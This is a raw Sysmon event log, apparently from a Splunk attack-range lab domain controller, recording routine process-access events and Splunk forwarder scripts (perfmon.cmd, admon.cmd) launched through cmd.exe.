09:11:47.352{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005427Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:47.352{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005426Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:47.352{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005425Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:47.352{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005424Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:47.352{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005423Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:47.352{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005422Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:47.352{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005421Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:47.352{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005420Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:47.352{A5F018FF-28BC-5F80-0500-000000007F01}6441148C:\Windows\system32\csrss.exe{A5F018FF-2953-5F80-2F01-000000007F01}4000C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000005419Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:47.352{A5F018FF-294E-5F80-0501-000000007F01}35041608C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{A5F018FF-2953-5F80-2F01-000000007F01}4000C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7d35e7|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7cdcb9|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7ca4ec|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7ca0a3|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7c9f0d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+6d7908|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+6de2ee|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+6b29fa|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+6b4274|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+e42dc|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ec682|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+e9959|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+d7f31|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000005418Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:47.353{A5F018FF-2953-5F80-2F01-000000007F01}4000C:\Windows\System32\cmd.exe10.0.14393.0 (rs1_release.160715-1616)Windows Command ProcessorMicrosoft® Windows® Operating SystemMicrosoft CorporationCmd.ExeC:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\perfmon.cmd" --scheme"C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x80000000000000005417Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:47.242{A5F018FF-294F-5F80-0901-000000007F01}21084736C:\Windows\system32\conhost.exe{A5F018FF-2953-5F80-2E01-000000007F01}3772C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005416Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:47.242{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005415Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:47.242{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005414Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:47.242{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005413Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:47.242{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005412Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:47.242{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005411Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:47.242{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005410Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:47.242{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005409Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:47.242{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005408Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:47.242{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005407Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:47.242{A5F018FF-28BC-5F80-0500-000000007F01}6441148C:\Windows\system32\csrss.exe{A5F018FF-2953-5F80-2E01-000000007F01}3772C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000005406Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:47.242{A5F018FF-294E-5F80-0501-000000007F01}35041608C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{A5F018FF-2953-5F80-2E01-000000007F01}3772C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7d35e7|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7cdcb9|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7ca4ec|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7ca0a3|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7c9f0d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+6d7908|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+6de2ee|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+6b29fa|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+6b4274|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+e42dc|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ec682|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+e9959|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+d7f31|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000005405Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:47.244{A5F018FF-2953-5F80-2E01-000000007F01}3772C:\Windows\System32\cmd.exe10.0.14393.0 (rs1_release.160715-1616)Windows Command ProcessorMicrosoft® Windows® Operating SystemMicrosoft CorporationCmd.ExeC:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\admon.cmd" --scheme"C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x80000000000000005404Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:47.133{A5F018FF-294F-5F80-0901-000000007F01}21084736C:\Windows\system32\conhost.exe{A5F018FF-2953-5F80-2D01-000000007F01}1872C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005403Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:47.133{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005402Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 